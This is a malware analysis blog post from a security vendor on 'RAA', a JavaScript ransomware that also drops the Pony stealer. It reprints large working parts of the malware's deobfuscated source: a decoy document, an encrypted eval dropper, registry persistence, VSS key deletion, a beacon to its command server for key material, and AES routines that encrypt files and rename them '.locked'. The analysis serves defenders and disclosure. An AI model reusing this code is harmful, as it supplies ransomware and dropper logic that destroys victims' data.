RAA – An entirely new JS ransomware delivering Pony malware

On 13th of June, while monitoring Twitter, we have observed an interesting tweet that reported a suspicious domain with an open directory listing. Among the listed files we found a zip archive containing a javascript. In this blogpost we will take a closer look at the javascript and we will show that it has ransomware capabilities, which we have dubbed RAA ransomware and that additionally delivers a dropping stage for the Pony malware.

Malicious domain

Below is the screenshot of the open directory on the server hosting the original package:

RAA_Ransomware_root_dir

The admin.php page leads to a panel that closely resembles the one used for Pony‘s administration:

RAA_Ransomware_Pony_Panel

There were two additional directories: cmh and dwn the first containing interesting resources like the files and folders used by the ransomware code inside the javascript.

RAA_Ransomware_cmh_dir

The second, dwn, containing a zip file with a javascript that’s used to perform the infection stage.

RAA Ransomware – javascript analysis

After downloading the zip archive and extracting the javascript we get the following:

RAA_Ransomware_js_infector

An educated guess led us to this that the zip archive might be the attachment of a phishing mail sent through a spam mail campaign. Unfortunately we were unable to find any mail related to this attachment, we will update this post accordingly if we can find additional information.

The javascript (MD5: 535494AA6CE3CCEF7346B548DA5061A9) has a size of ~559KB and a very low detection rate on VirusTotal (2/54):

RAA_Ransomware_VT_js

The beautified version of the javascript code can be find in this gist.

The execution chain is the following:

nYuMHHRx() —> NWvQtGjjfQX() —> zQqUzoSxLQ()

  • nYuMHHRx: shows a fake RTF document;
  • NWvQtGjjfQX: executes Pony;
  • zQqUzoSxLQ: executes the ransomware stage.
var Yvwtdbvd = WScript.Arguments;
if (Yvwtdbvd.length == 0) {
    nYuMHHRx();
    NWvQtGjjfQX();
} else {
    null;
}

After a check on argument numbers passed to the wscript interpreter, 2 functions are executed.

nYuMHHRx() function

tpcVJWrQG = tpcVJWrQG.replace(/BBSDIO/g, "A");
var clear_tpcVJWrQG = CryptoJS.enc.Base64.parse(tpcVJWrQG);
var CLWSNdGnlGf = clear_tpcVJWrQG.toString(CryptoJS.enc.Utf8);
CLWSNdGnlGf = CLWSNdGnlGf.replace(/BBSDIO/g, "A");
var RRUm = new ActiveXObject('ADODB.Stream');
var GtDEcTuuN = WScript.CreateObject("WScript.shell");
var TkTuwCGFLuv_save = GtDEcTuuN.SpecialFolders("MyDocuments");
TkTuwCGFLuv_save = TkTuwCGFLuv_save + "\\" + "doc_attached_" + TBucypWw;
RRUm.Type = 2;
RRUm.Charset = "437";
RRUm.Open();
RRUm.WriteText(CLWSNdGnlGf);
RRUm.SaveToFile(TkTuwCGFLuv_save);
RRUm.Close();
var run = "wordpad.exe " + "\"" + TkTuwCGFLuv_save + "\"";
GtDEcTuuN.Run(run);
return 0;

With this code an RTF (fake) document is created and shown to the victim. The document looks like this:

RAA_Ransomware_fake_rtf

Translating the text we have:

Error! Error code (0034832)

This document was created in a newer version of MS Word and can not be opened by your version of WordPad
Refer to the file publisher or open content using MS Word 2013

Some content items can not be displayed correctly

The message tricks the victim into believing that its word processor is unable to read the document correctly.

NWvQtGjjfQX() function

This function is responsible for decoding and executing the Pony dropper.

var cmd = "U2FsdGVkX1/LHQl+aIAo/hXHDEI5YmZZtBIcL5LHq7o+NZyTxtiLAxCsucmN0NBq12nnNJ7XOCyeXqF9xLAkahyIcXx5oc/ic5FRpoj+tZ1qywTZNhPWMlRllGn8O8viVnpXMYHoJr/AphGHfaAOkX8xYjuWhZE8qw1Qw1vQbqdbMlv5RL3xTETBgbylCgyGER91Kef4Q/2YtokOqzg+0BZIjKpdIbr1jQdh8uwp9MKd+Y9dSm1Lz9dl82QJVVbFiBj7N6MEDCw5JESVi5HilHWFEb3eyacdJBxYtKutbAZBOl6aJrLyxKtlxm4o9Cie5+vIPgMtqHEmBWp9GaqYDQlxXXOuTeysry1LXQiCGP7msk2hqAOEhyfxchlAQuma4twTFqHOrPZDECk8hfVJkBvUZg/hl+y4gKbBBLVDEIlKW9AstpcAP6FOcTt/bsS+0fvHnl1fAtMB1AsBSHKhZX/6eMPBGQBQT5fqvyy8MLyMgLOsCt5XHyEgc2ecU1fDokpzzMxMqIPwFZoQDOZSg/pBOMVTyUHuv18WdWI+Q6lppzIUv4mvxEioH7SROiDFqJoHR4EwIdDO0QR82Q4RTTIWO9CfXkC5VnXlEncsU45rIzfEMDv4r1aqoYQlgFr6xjas0/e7+EVCoxhsp4C2Jta43NmC6uLnhjcWRdCcB/8=";
var key_cmd = "2c025c0a1a45d1f18df9ca3514babdbc";
var dec_cmd = CryptoJS.AES.decrypt(cmd, key_cmd);
dec_cmd = CryptoJS.enc.Utf8.stringify(dec_cmd);
eval(dec_cmd);
return 0;

To understand what code is we must first decrypt it. Doing so we obtain:

var flo = new ActiveXObject ("ADODB.Stream");
var runer = WScript.CreateObject("WScript.Shell");
var wher = runer.SpecialFolders("MyDocuments");
wher = wher + "\\" + "st.exe";
flo.CharSet = "437";
flo.Open();
var pny = data_pn.replace(/NMSIOP/g, "A");
var pny_ar = CryptoJS.enc.Base64.parse(pny);
var pny_dec = pny_ar.toString(CryptoJS.enc.Utf8);
flo.Position = 0;
flo.SetEOS;
flo.WriteText(pny_dec);
flo.SaveToFile(wher, 2);
flo.Close;
wher = "\"" + wher + "\"";
runer.Run(wher);

The data_pn variable can be observed in the gist file linked above. After that NMSIOP is substituted with A, through the base64 decoding function we get the file saved on disk, that is the Pony dropper. So the Pony dropper is not downloaded but it’s embedded in encoded format inside the javascript

The decoded Pony executable has a low detection rate on VirusTotal (8/55)

RAA_Ransomware_VT_Pony

zQqUzoSxLQ() function

This is the main part of the ransomware’s stage. It performs 2 checks before starting the encryption process.

  • Checks for the presence of the HKCU\\RAA\\Raa-fnl\\ registry key;
  • Checks if the wscript process is running through the WMI.

After these 2 checks a persistence key is created in the registry, to ensure that the dropping stage for Pony is run after a reboot, then the HxBG function is executed.

function zQqUzoSxLQ() {
    var QCY;
    var kHkyz = WScript.CreateObject("WScript.Shell");
    try {
        kHkyz.RegRead("HKCU\\RAA\\Raa-fnl\\");
    } catch (e) {
        QCY = 0;
    }
    var lCMTwJKZ = [];
    var baZk = "wscript.exe";
    var AFtKLHIjDtkM = 0;
    var e = new Enumerator(GetObject("winmgmts:").InstancesOf("Win32_process"));
    for (; !e.atEnd(); e.moveNext()) {
        var p = e.item();
        lCMTwJKZ = lCMTwJKZ + p.Name + ",";
    }
    lCMTwJKZ = lCMTwJKZ.split(",");
    var jcayrm = -1;
    do {
        jcayrm += 1;
        if (lCMTwJKZ[jcayrm] == baZk) {
            AFtKLHIjDtkM = AFtKLHIjDtkM + 1;
        } else {
            null
        }
    } while (jcayrm < lCMTwJKZ.length);
    if (AFtKLHIjDtkM < 2 && QCY == 0) {
        var TKVUdGUkzCmE = WScript.ScriptFullName;
        TKVUdGUkzCmE = TKVUdGUkzCmE + " argument";
        var qPOGRFfINeNb = WScript.CreateObject("WScript.Shell");
        qPOGRFfINeNb.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", TKVUdGUkzCmE, "REG_SZ");
        HxBG();
    } else {
        null;
    }
    return 0;
}

The HxBG function starts with a try-catch statement with which it tries to delete the subkeys related to the VSS windows service, that is HKLM\\SYSTEM\\CurrentControlSet\\services\\VSS. This is done by NdpcNJVAPrNj() function which at end calls izzU() function to jump to the encryption core stage.

var FknDierotSzK = new ActiveXObject("Scriptlet.TypeLib");
var cVjZujcP = FknDierotSzK.GUID.substr(1, 36);

function get_HZtSmFNRdJM() {
    var VuSD = cVjZujcP + " - RAA";
    var MOSKn = [];
    MOSKn[0] = "http://startwavenow.com/cmh" + "/mars.php?id=" + VuSD;
    var req = new ActiveXObject("Msxml2.ServerXMLHTTP.6.0");
    var QSJCTxMMl = 15000;
    var bFPwcaPNy = 15000;
    var zarI = 15000;
    var olWVonsDzH = 15000;
    req.setTimeouts(QSJCTxMMl, bFPwcaPNy, zarI, olWVonsDzH);
    var pointer_MOSKn = -1;
    var aka;
    do {
        pointer_MOSKn += 1;
        if (pointer_MOSKn <= 0) {
            pointer_MOSKn = pointer_MOSKn;
        } else {
            pointer_MOSKn = 0;
            WScript.Sleep(60000);
        }
        try {
            req.open("GET", MOSKn[pointer_MOSKn], false);
            req.send();
            aka = req.responseText.split(',');
        } catch (e) {
            aka = 0;
        }
    } while (aka == 0);
    return aka;
}
var KrvABjTTXNS = [];
KrvABjTTXNS = get_HZtSmFNRdJM();
var VKw = KrvABjTTXNS[0];
var jOnaTnksWb = KrvABjTTXNS[1];

GUID is created to uniquely identify the victim, this id is then joined with “ – RAA” string (hence the name of this ransomware). Then an HTTP GET request is performed:

RAA_Ransomware_get_request

The response body is then split at the commas. The split result is assigned to VKw and jOnaTnksWb variables that are used later in the code in the encryption phase.

After the HTTP GET request, the counter is increased by one:

RAA_Ransomware_counter_tips

and inside the cl directory the file with the response body, in encrypted format, is saved in.

The function that we find after this step is kth. This one returns a list of all the drives connected to the PC.

The ransomware, like many other, excludes from the encryption process the following folders

APPDATA
AppData
Microsoft
Program Files
Program Files (x86)
ProgramData
RECYCLE.BIN
RECYCLER
Recycle.Bin
Recycler
TEMP
Temp
WINDOWS
Windows

The 16 targeted extensions are the most common ones:

..cd
.cdr
.csv
.dbf
.doc
.dwg
.jpg
.lcd
.mdb
.pdf
.png
.psd
.rar
.rtf
.xls
.zip

The ransom note is created by the VGCDtihB function.

RAA_Ransomware_build_refund_file

The notes are contained in a RTF file decoded like the fake one mentioned above and it’s written into the root folder of every drive. The file is called !!!README!!![RANDOM].rtf

Encryption Algorithm

After that a list of candidates to be encrypted with their relative path is created, the KWgwJwOlqJcs function is called. Through the rStinsVp function, that uses the response body passed, an array is built in this manner: the first while loop builds a 32 bytes long array called eqQu populated with numerical items only. Then with the second while loop a 32 bytes string is built and stored inside the xjLCtcIO variable. This string is built extracting the char at a position indexed by the pointer contained inside the eqQu array. eqQu and xjLCtcIO are then passed to gieJISwveNlD array which it’s returned by the rStinsVp function itself. Follow the code:

function rStinsVp(rand) {
    var eqQu = [];
    var EPtLPmand = -1;
    do {
        EPtLPmand += 1;
        eqQu[EPtLPmand] = Math.floor((Math.random() * 2000) + 1);
        if (eqQu[EPtLPmand] < 10) {
            eqQu[EPtLPmand] = "000" + eqQu[EPtLPmand];
        } else if (eqQu[EPtLPmand] >= 10 && eqQu[EPtLPmand] < 100) {
            eqQu[EPtLPmand] = "00" + eqQu[EPtLPmand];
        } else if (eqQu[EPtLPmand] >= 100 && eqQu[EPtLPmand] < 1000) {
            eqQu[EPtLPmand] = "0" + eqQu[EPtLPmand];
        } else {
            eqQu[EPtLPmand] = eqQu[EPtLPmand];
        }
    } while (eqQu.length < 32);
    var xjLCtcIO = "";
    var EPtLPmand2 = -1;
    var vPdyagHuFMMj = [];
    do {
        EPtLPmand2 += 1;
        vPdyagHuFMMj[EPtLPmand2] = parseInt(eqQu[EPtLPmand2]);
        xjLCtcIO = xjLCtcIO + rand.charAt(vPdyagHuFMMj[EPtLPmand2]);
    } while (xjLCtcIO.length < 32);
    var gieJISwveNlD = [];
    gieJISwveNlD[0] = eqQu;
    gieJISwveNlD[1] = xjLCtcIO;
    return gieJISwveNlD;
}

udpIHxNm function, based on file size, invokes different encryption routine. Below the snippet:

function udpIHxNm(IMhTname) {
    var SlSPWu = WScript.CreateObject("ADODB.Stream");
    SlSPWu.CharSet = '437';
    SlSPWu.Open();
    SlSPWu.LoadFromFile(IMhTname);
    var hXpHGpZ = [];
    hXpHGpZ[0] = [];
    hXpHGpZ[1] = [];
    var PRuJZyAvfeza = SlSPWu.Size;
    if (PRuJZyAvfeza > 6122 && PRuJZyAvfeza < 5000000) {
        var GinRqOjln = OQlYdejWlC(2000, 2040);
        hXpHGpZ[0][0] = SlSPWu.ReadText(GinRqOjln) + "RAA-SEP";
        var kWsAN = Math.floor(PRuJZyAvfeza / 2) - 3060;
        hXpHGpZ[1][0] = SlSPWu.ReadText(kWsAN) + "RAA-SEP";
        hXpHGpZ[0][1] = SlSPWu.ReadText(GinRqOjln) + "RAA-SEP";
        var iPZDBPG = PRuJZyAvfeza - (SlSPWu.Position + GinRqOjln);
        hXpHGpZ[1][1] = SlSPWu.ReadText(iPZDBPG) + "RAA-SEP";
        hXpHGpZ[0][2] = SlSPWu.ReadText(GinRqOjln) + "RAA-SEP";
        SlSPWu.Close;
        jMvqmKSQu(hXpHGpZ);
    } else if (PRuJZyAvfeza > 5000000 && PRuJZyAvfeza <= 500000000) {
        qqJ(IMhTname)
    } else if (PRuJZyAvfeza <= 6122) {
        hXpHGpZ[0][0] = SlSPWu.ReadText;
        SlSPWu.Close;
        jMvqmKSQu(hXpHGpZ);
    } else {
        hXpHGpZ = 0;
        SlSPWu.Close;
        jMvqmKSQu(hXpHGpZ);
    }
    return 0;
}
udpIHxNm(IMhTname);

If

  • ~6KB < file_size < ~5MB: the multidimensional array hXpHGpZ is created before that it’s passed to jMvqmKSQu function;
  • ~5MB < file_size < ~500MB: the file to be encrypted is passed to the qqJ function;
  • file_size < ~6122 bytes: the jMvqmKSQu function is called and it’s passed the whole file;
  • file_size > ~500MB: jMvqmKSQu is called but due to the argument equal to 0, no encryption task is performed.

After encryption the file is renamed .locked.

At end of encrypted file it’s appended the following pattern:

IDNUM=[ID]KEY_LOGIC=[KEY_L]IV_LOGIC=[IV_L]LOGIC_ID=[NUMBER]

where:

  • IDNUM is the ID associated with the victim generated by the following code
var FknDierotSzK = new ActiveXObject("Scriptlet.TypeLib");
var cVjZujcP = FknDierotSzK.GUID.substr(1, 36); // generate a GUID
  • KEY_LOGIC is the array of indexes of which we have talked above used to build the key;
  • IV_LOGIC is the array of indexes of which we have talked above used to build the IV;
  • LOGIC_ID is the algorithm used to encrypt the file.

So let’s go to analyze the different LOGIC_ID present in the code.

LOGIC_ID=1

LOGIC_ID equal to 1 is for file size between ~6KB and ~5MB.

if (hXpHGpZ[1].length != 0) {
    var DftonCbPCyQR = hXpHGpZ[0].join("");
    DftonCbPCyQR = ukBnxEOtjm(DftonCbPCyQR);
    DftonCbPCyQR = DftonCbPCyQR + "=END=OF=HEADER=";
    DftonCbPCyQR = DftonCbPCyQR + hXpHGpZ[1].join("") + "IDNUM=" + cVjZujcP + "KEY_LOGIC=" + HZtSmFNRdJM_data[0] + "IV_LOGIC=" + qPCIyff[0] + "LOGIC_ID=1";
    omaDplUyHou(DftonCbPCyQR);
}

The elements on row 0 contained by the multidimensional array is joined together to build a string which is then encrypted by the ukBnxEOtjm function. This function uses the AES-256 bit algorithm implemented inside the CryptoJS library. The code is contained entirely in the Javascript file.

function ukBnxEOtjm(EQs) { // AES 256 bit
    var HZtSmFNRdJM = HZtSmFNRdJM_data[1]; // key
    var gmCRXSMsLyM = qPCIyff[1]; // IV
    EQs = CryptoJS.AES.encrypt(EQs, HZtSmFNRdJM, {
        gmCRXSMsLyM: gmCRXSMsLyM
    });
    return EQs;
}

The encrypted content is then joined with:

  1. =END=OF=HEADER= string;
  2. join of the elements on row 1 of the multidimensional array;
  3. the pattern saw above.

LOGIC_ID=2

LOGIC_ID equal to 2 is for file size less then ~6KB.

else {
    var DftonCbPCyQR = hXpHGpZ[0][0];
    DftonCbPCyQR = ukBnxEOtjm(DftonCbPCyQR);
    DftonCbPCyQR = DftonCbPCyQR + "IDNUM=" + cVjZujcP + "KEY_LOGIC=" + HZtSmFNRdJM_data[0] + "IV_LOGIC=" + qPCIyff[0] + "LOGIC_ID=2";
    omaDplUyHou(DftonCbPCyQR);
}

The data to be encrypted is the entire file content. This time the string appended to the encrypted data is only the pattern.

RAA_Ransomware_encrypted_file

LOGIC_ID=3

LOGIC_ID equal to 3 is for file size between ~5MB and ~500MB.

function qqJ(IMhTname) {
    var SlSPWu = WScript.CreateObject("ADODB.Stream");
    SlSPWu.CharSet = '437';
    SlSPWu.Open();
    SlSPWu.LoadFromFile(IMhTname);
    var FhDYKCTNZFu = WScript.CreateObject("ADODB.Stream");
    FhDYKCTNZFu.CharSet = '437';
    FhDYKCTNZFu.Open();
    var GinRqOjln = OQlYdejWlC(90000, 125000);
    var PRuJZyAvfeza = SlSPWu.Size;
    var VVe = SlSPWu.ReadText(GinRqOjln);
    var cBKyRXWGPWBs = ukBnxEOtjm(VVe);
    cBKyRXWGPWBs = String(cBKyRXWGPWBs);
    var rMkTeqZm = cBKyRXWGPWBs.length;
    SlSPWu.Position = PRuJZyAvfeza - GinRqOjln;
    var ECgBWYtoib = SlSPWu.ReadText(GinRqOjln);
    var AblANuF = ukBnxEOtjm(ECgBWYtoib);
    AblANuF = String(AblANuF);
    var QfYmGGcYOFB = AblANuF.length;
    var IJDZ = ",";
    SlSPWu.Position = PRuJZyAvfeza - GinRqOjln;
    SlSPWu.SetEOS;
    SlSPWu.WriteText(cBKyRXWGPWBs);
    SlSPWu.WriteText(AblANuF);
    SlSPWu.WriteText(rMkTeqZm);
    SlSPWu.WriteText(IJDZ);
    SlSPWu.WriteText(QfYmGGcYOFB);
    SlSPWu.WriteText(IJDZ);
    var ids = "IDNUM=" + cVjZujcP + "KEY_LOGIC=" + HZtSmFNRdJM_data[0] + "IV_LOGIC=" + qPCIyff[0] + "LOGIC_ID=3";
    SlSPWu.WriteText(ids);
    SlSPWu.Position = GinRqOjln;
    SlSPWu.CopyTo(FhDYKCTNZFu);
    SlSPWu.Close;
    FhDYKCTNZFu.SaveToFile(IMhTname, 2);
    FhDYKCTNZFu.Close;
    var DmYbWSaT = new ActiveXObject("Scripting.FileSystemObject");
    DmYbWSaT.MoveFile(IMhTname, IMhTname += ".locked");
    return 0;
}

For this case two streams are created, and inside the first the content of the file to be encrypted is copied in. The encryption steps are summarized below:

  • read and encrypt a block from the beginning of the file
  • compute size of this first encrypted block
  • read and encrypt a block from the end of the file
  • compute size of this second encrypted block

After these steps the new encrypted file is saved in the following manner through the second stream created:

block1enc + block2enc + len(block1enc) + “,” + len(block2enc) + “,” + pattern

After that the encryption stage is finished a registry key is created to mark infection performed and refund informations file is opened:

var FYSAj = WScript.CreateObject("WScript.Shell");
FYSAj.RegWrite("HKCU\\RAA\\Raa-fnl\\", "beenFinished", "REG_SZ");
var IvTV = "C:\\" + "!!!README!!!" + TBucypWw + ".rtf";
var xfejSVYO = new ActiveXObject("Scripting.FileSystemObject");
var Nnz = FYSAj.SpecialFolders("Desktop");
Nnz = Nnz += "\\";
xfejSVYO.CopyFile(IvTV, Nnz);
var rdm_fl = "wordpad.exe" + " " + IvTV;
FYSAj.Run(rdm_fl, 3);
return 0;

A screenshot of the refund information file prompted to the victim below:

RAA_Ransomware_refund_file

The ransomware asks for 0.39 bitcoins (~250€) and due to the language of the refund information file, it’s clear that the targeted country is Russia.

Join our newsletter to get the world’s latest security events and our technical analyses delivered directly to your inbox!

ReaQta